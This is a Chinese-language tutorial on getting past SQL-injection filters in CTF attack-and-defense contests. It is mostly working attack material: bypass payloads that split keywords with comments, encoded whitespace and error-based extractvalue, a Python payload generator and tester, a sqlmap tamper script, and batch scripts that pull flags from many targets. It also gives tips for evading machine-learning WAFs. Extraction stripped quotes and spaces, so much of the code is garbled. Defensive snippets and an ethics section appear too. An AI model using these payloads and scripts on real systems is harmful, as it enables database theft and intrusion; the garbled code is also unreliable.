AWD攻防赛SQL注入绕过3种常见过滤规则的实战绕过技巧在CTF竞赛的AWDAttack With Defense模式中SQL注入始终是Web安全赛道的核心考点。面对主办方精心设计的过滤规则选手需要在极短时间内完成从漏洞识别到Payload构造的全过程。本文将深入剖析select、union和空格三类高频过滤场景的绕过技术通过靶场复现和脚本开发演示实战攻击链构建。1. 过滤机制分析与绕过原理1.1 WAF过滤的典型实现方式现代Web应用防护系统通常采用多层过滤策略# 伪代码示例基础过滤函数 def sql_filter(input_string): blacklist [select, union, order by, table, ] for keyword in blacklist: if keyword in input_string.lower(): raise SecurityException(SQLi detected) return input_string这种基于字符串匹配的防御存在固有缺陷大小写变异SeLeCt绕过大小写敏感检测注释符分割sel/**/ect利用注释符打断关键词编码混淆十六进制/URL编码等非标准形式1.2 关键过滤项的绕过矩阵过滤项绕过方法适用场景示例select大小写混合/注释/反引号/双重编码所有SQL注入类型SeLeCtsel%0bectunion内联注释/空白符替换/多语句拼接联合查询注入uni/*!*/onun\x09ion空格注释符/Tab/换行符/括号所有需要空格的语法位置/**/%a0()提示实际比赛中往往需要组合多种绕过技术单一方法可能被规则集捕获2. select过滤的突破方案2.1 注释符分割技术当select被完整匹配过滤时通过注释符打断关键词识别-- 原始语句 select * from users where id1 -- 绕过变形 sel/*任意内容*/ect * from users where id1 /*!select*/ * from users where id1 # MySQL特性实战案例某次AWD赛中过滤函数未处理注释嵌套payload -1 uni/*绕过*/on sel/*绕过*/ect 1,2,3-- response requests.get(fhttp://target/page?q{payload})2.2 反引号包裹技术MySQL支持用反引号包裹关键字-- 标准语法 select * from users -- 绕过变形 sElEcT * from users特殊场景适配当反引号也被过滤时可采用/*!50000select*/格式其中50000表示MySQL版本号要求3. union过滤的绕过手法3.1 内联注释高级用法MySQL特有的版本条件注释-1 /*!50000union*/ select 1,2,3--通过版本号限定语法解析现代WAF往往难以识别这种特殊语法结构。3.2 空白符替代方案当空格被严格过滤时可用多种不可见字符替代字符URL编码说明水平制表符%09键盘Tab键产生的字符换行符%0a文本中的换行垂直制表符%0b较少使用的控制字符# Python requests库示例 payload -1%0bun%09ion%0bsel%0bect%0b1,2,3--4. 空格过滤的终极解决方案4.1 注释符替代法用/**/代替所有空格位置-- 标准注入 union select 1,2,3 from users -- 绕过变形 union/**/select/**/1,2,3/**/from/**/users4.2 括号包裹表达式利用SQL语法中括号的可选性-- 原始语句 select * from users where id1 -- 无空格版本 select(*)from(users)where(id)14.3 特殊空白符选择不同数据库支持的替代字符数据库可用空白符示例MySQL%09, %0a, %0b, %0c, %0dun%09ion%0aselectMSSQL%01-%1f 范围内的控制字符sel%01ect%02*%03fromOracle必须使用注释或括号sel/* */ect/* */15. 综合实战模拟AWD环境突破5.1 靶场环境搭建使用Docker快速部署带过滤的SQLi靶场# 启动MySQL容器 docker run --name mysql-awd -e MYSQL_ROOT_PASSWORDctf123 -d mysql:5.7 # 启动PHP过滤后端 docker run --link mysql-awd -p 8080:80 -v ./filter.php:/var/www/html/index.php php:apachefilter.php关键代码$filter [select, union, , table]; $input str_ireplace($filter, , $_GET[id]); $query SELECT * FROM articles WHERE id$input;5.2 自动化攻击脚本开发Python实现多维度Payload生成器import requests from urllib.parse import quote class SQLiBypass: def __init__(self, base_url): self.url base_url self.payloads [] def generate_payloads(self): # 基础变形模板 templates [ -1 uni{sep}on sel{sep}ect 1,2,3 -- , -1 /*!uni*//*!on*/ /*!sel*//*!ect*/ 1,2,3 -- , -1 un\x09ion\x0aselect\x0b1,2,3 -- ] # 分隔符库 separators [/**/, /*!*/, %09, %0a, %0b] # 生成组合Payload for template in templates: for sep in separators: self.payloads.append(template.format(sepsep)) def test_payloads(self): for payload in self.payloads: res requests.get(f{self.url}?id{quote(payload)}) if error not in res.text: print(f[] 有效Payload: {payload}) return payload return None # 使用示例 attacker SQLiBypass(http://target:8080) attacker.generate_payloads() working_payload attacker.test_payloads()5.3 防御对抗技巧在AWD比赛中攻击成功后需立即修补自身服务// 安全过滤函数改进版 function safe_filter($input) { $patterns [ /select\b/i, /union\b/i, /\s/, /\/\*.*?\*\// ]; foreach ($patterns as $pattern) { if (preg_match($pattern, $input)) { die(Hacking attempt detected); } } return $input; }6. 不同数据库的绕过特性对比6.1 MySQL特有技巧/*!50100 ... */版本条件注释反引号包裹关键字variable用户变量/*!50100select*/ a:1,/*!50100table_name*/ from/*!50100information_schema.tables*/6.2 MSSQL特性利用使用连接字符串%2B替代空格declare x int变量声明select%2B1%2Bfrom%2Busers6.3 Oracle特殊语法必须使用from dual||字符串连接注释仅支持--和/* */select/**/1/**/from/**/dual7. 进阶混淆技术与自动化工具7.1 SQLMap Tamper脚本开发编写自定义tamper脚本应对特殊过滤# select_union_bypass.py from lib.core.enums import PRIORITY __priority__ PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): return payload.replace(SELECT, /*!50000sElEcT*/).replace( , /**/)使用方式sqlmap -u http://target.com?id1 --tamperselect_union_bypass7.2 二进制混淆技术当遇到字符级过滤时可采用十六进制编码0x73656C656374 selectCHAR函数拼接CHAR(115)CHAR(101)CHAR(108)CHAR(101)CHAR(99)CHAR(116)Unicode规范化%u0053%u0045%u004C%u0045%u0043%u0054-- MySQL示例 SELECT * FROM users WHERE id1 UNION SELECT 1,2,3 -- 混淆后 0x53454C454354 * FROM users WHERE id1 UNION 0x53454C454354 1,2,38. 真实AWD环境中的战术考量8.1 攻击阶段策略快速信息收集使用version()获取数据库类型version_compile_os确认操作系统分层测试Payloadpayloads [ 1 AND 11, # 基础逻辑测试 1 OR 11, # 引号测试 1 /*!50000union*/ select 1,2,3 -- # 完整绕过 ]自动化批量利用# 多线程攻击脚本示例 cat targets.txt | xargs -P 10 -I {} curl http://{}/?id1 union select 1,flag,3 from flag -- 8.2 防御阶段要点临时修补方案// 在入口文件添加全局过滤 $_GET array_map(addslashes, $_GET);WAF规则增强location / { if ($args ~* union.*select) { return 403; } }监控与响应# 监控SQL错误日志 tail -f /var/log/mysql/error.log | grep -i union.*select9. 历史赛题经典案例复盘9.1 2022年某省赛Web题过滤规则删除所有空格和注释过滤union和select的任意大小写组合绕过方案1UNION%0bSELECT%0a1,(SELECTa:GROUP_CONCAT(table_name)FROM(information_schema.tables)WHEREa IS NULL),3,4%23技术要点使用%0a和%0b替代空格通过变量赋值避免直接查询information_schema%23(#的URL编码)作为注释符9.2 2023年全国大学生赛决赛题特殊限制过滤所有非字母数字字符关键词检测包括information_schema突破方法1UNION(SELECT(1),(SELECT(GROUP_CONCAT(COLUMN_NAME))FROM(MYSQL.INNODB_SYS_COLUMNS)),3,4)创新点利用MySQL系统表innodb_sys_columns替代information_schema完全通过括号构造语法结构10. 防御体系构建建议10.1 输入验证策略防御层级实施方法示例前端输入格式白名单验证仅允许数字ID参数后端参数化查询严格类型转换intval($_GET[id])数据库最小权限原则存储过程只授予查询必要表的权限10.2 监控与响应机制异常请求识别统计高频错误请求检测非常规字符组合实时阻断方案# Flask中间件示例 app.before_request def check_sqli(): if any(keyword in request.query_string.lower() for keyword in [union, select, sleep(]): abort(403)日志分析技巧# 分析Apache日志中的攻击尝试 cat access.log | grep -E union.*select|11|benchmark\(11. 工具链与资源推荐11.1 本地测试工具集工具名称用途安装方式SQLMap自动化注入测试pip install sqlmapMySQL Sandbox快速搭建测试数据库Docker官方镜像PostmanPayload调试与集合管理官网下载11.2 在线练习平台SQLi Labs经典注入靶场包含各种过滤场景Hack The Box真实环境Web挑战定期更新题目CTFlearn社区提交的SQLi题目按难度分级12. 常见误区与排错指南12.1 典型错误场景编码问题双重URL编码导致服务器解析异常解决方案urllib.parse.unquote(payload)会话维持失败攻击后Cookie失效解决方案使用requests.Session()WAF指纹识别流量特征被识别解决方案添加随机延迟和垃圾参数12.2 调试技巧# 开启详细调试模式 import logging logging.basicConfig(levellogging.DEBUG) # 检查最终请求URL print(requests.Request(GET, url, paramsparams).prepare().url)13. 性能优化与高速攻击13.1 并发请求控制from concurrent.futures import ThreadPoolExecutor def attack(target): try: requests.get(fhttp://{target}/?id1 union select 1,flag,3 from flag -- , timeout3) except Exception as e: pass with ThreadPoolExecutor(max_workers20) as executor: executor.map(attack, targets)13.2 智能重试机制retry_strategy Retry( total3, backoff_factor1, status_forcelist[500, 502, 503, 504] ) adapter HTTPAdapter(max_retriesretry_strategy) session.mount(http://, adapter)14. 新型防御技术对抗14.1 机器学习WAF的绕过特征稀释添加无害垃圾参数随机大小写变异时间延迟混淆import random time.sleep(random.uniform(0.1, 0.5))请求碎片化分多次发送Payload片段利用HTTP分块传输编码14.2 语义分析对抗案例某WAF检测SQL逻辑结构而非关键词绕过方案1 AND (SELECT SUBSTR(flag,1,1) FROM flag)a AND 11技术要点避免使用显式union select使用布尔盲注技术通过数学运算替代字符串操作15. 法律与道德边界CTF竞赛授权仅攻击指定目标遵守比赛规则技术研究红线不在非授权系统测试不公开未修复漏洞漏洞披露原则通过正规渠道报告给予合理修复时间16. 持续学习路径16.1 技术演进跟踪资源类型推荐内容获取渠道学术论文IEEE SP会议论文IEEE Xplore漏洞公告CVE数据库cve.mitre.org技术博客PortSwigger安全研究portswigger.net16.2 实战提升建议每周挑战完成1个CTF平台Web题编写自动化利用脚本代码审计分析开源CMS漏洞研究CVE补丁差异模拟演练搭建本地AWD环境团队对抗训练17. 团队协作技巧17.1 角色分工方案角色职责技能要求侦察兵快速识别漏洞类型丰富经验模式识别武器开发编写利用脚本编程能力漏洞原理防御工程师修补漏洞监控系统管理代码审计17.2 信息共享机制实时看板使用GitHub Projects管理进度标记已攻破目标知识库建设记录有效Payload维护漏洞修复方案通信安全加密团队频道避免明文传输flag18. 赛后复盘方法18.1 技术维度分析漏洞图谱绘制攻击路径图标注防御薄弱点时间线复盘记录关键突破时间分析响应延迟原因18.2 团队表现评估1. 攻击效率 - 平均突破时间2.3分钟 - Payload成功率78% 2. 防御效果 - 被攻击次数5次 - 补丁响应时间8分钟19. 延伸技术关联19.1 与反序列化的结合// Java反序列化触发SQLi的典型场景 String sql SELECT * FROM users WHERE id unserializedObject.getId();防御方案分离反序列化与数据库操作层使用PreparedStatement19.2 文件上传联动攻击链构建通过SQLi获取管理员密码登录后台上传Webshell建立持久化访问防御策略独立数据库账户上传文件内容校验20. 创新研究方向20.1 基于语法的检测绕过创新点利用SQL语法树变异模仿合法查询模式示例SELECT * FROM (SELECT 1 AS a, 2 AS b, 3 AS c) AS temp WHERE a120.2 硬件级攻击检测前沿技术使用CPU性能计数器检测异常查询基于Cache侧信道的注入识别挑战误报率控制云计算环境适配21. 防御体系压力测试21.1 模糊测试方案import string import random def generate_testcase(): keywords [select, union, where] patterns [ f{kw}{random.choice([ , /**/, %0a])} for kw in keywords ] return .join(random.sample(patterns, 3)) for _ in range(1000): test_case generate_testcase() requests.get(fhttp://test.com/?q{test_case})21.2 覆盖率评估规则覆盖检查是否检测所有变形组合验证边界条件处理性能影响对比开启WAF前后延迟测试高并发下稳定性22. 行业最佳实践22.1 互联网企业方案美团多层校验架构实时行为分析阿里云基于AI的语义分析自动补丁生成22.2 金融行业标准PCI DSS要求定期漏洞扫描参数化查询强制实施等保2.0应用安全审计入侵检测部署23. 工具开发进阶23.1 智能Payload生成器class PayloadGenerator: def __init__(self): self.templates self.load_templates() def mutate(self, template): # 实现多种变异算法 pass def generate(self, attack_type): return [self.mutate(t) for t in self.templates[attack_type]]23.2 流量混淆代理from mitmproxy import http def request(flow: http.HTTPFlow) - None: if union in flow.request.text: flow.request.text flow.request.text.replace( union, /*!uni*/on )24. 人才培养体系24.1 技能矩阵构建等级SQLi技能要求防御能力要求L1基础联合查询识别简单注入尝试L2盲注与报错注入部署基础WAF规则L3高级过滤绕过设计多层防御架构24.2 训练课程设计基础阶段SQL语法精讲常见漏洞模式进阶阶段编译器原理协议分析技术专家阶段机器学习对抗硬件安全扩展25. 赛事趋势预测25.1 技术演变方向云原生环境Kubernetes集群攻击服务网格安全AI集成智能漏洞挖掘自动化防御25.2 赛制创新可能红蓝对抗实时攻防可视化自动化评分系统混合模式结合解题与攻防多维度积分体系26. 资源优化策略26.1 时间管理技巧gantt title AWD回合时间分配 section 第一回合 信息收集 :a1, 0, 2m 漏洞挖掘 :a2, after a1, 3m 脚本开发 :a3, after a2, 5m section 第二回合 批量攻击 :b1, 0, 4m 防御加固 :b2, after b1, 6m26.2 团队协作工具链工具类型推荐方案关键功能通信Slack加密频道实时交流文件共享任务管理Trello看板状态跟踪责任分配代码协作GitHub私有仓库版本控制代码审查27. 心理素质训练27.1 高压应对方法呼吸控制法4-7-8呼吸节奏赛前模拟训练注意力聚焦明确优先级单任务处理模式27.2 团队士气维持正向反馈即时庆祝小胜利可视化进度展示压力释放定时短暂休息幽默氛围营造28. 物理设备配置28.1 竞赛装备清单设备推荐配置备注笔记本32GB内存多核CPU虚拟机并行能力外接显示器至少2块1080P屏幕多任务并行网络备份4G/5G热点有线双接入避免断网28.2 软件环境准备# 赛前环境检查清单 docker pull mysql:5.7 pip install sqlmap requests apt-get install tmux htop29. 赛后价值转化29.1 技术成果输出漏洞报告详细技术分析修复建议工具开源自动化脚本防御方案代码29.2 职业发展路径安全研究漏洞挖掘方向防护体系设计红队建设渗透测试专家攻击模拟演练30. 终极挑战全过滤场景突破当遇到以下过滤组合时所有关键词过滤select/union/where等所有空白符过滤所有注释符过滤特殊字符限制突破方案1and(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(/*!50000information_schema*/.tables)where(table_schemadatabase())),0x7e))))and11技术解析利用XML函数触发报错通过括号构造语法结构内联注释绕过information_schema过滤十六进制编码避免引号检测在实际AWD比赛中这种极端场景较少出现但掌握多层绕过技术能显著提升应对复杂防御的能力。建议选手平时训练时从简单过滤开始逐步增加限制条件最终达到能够突破全过滤的水平。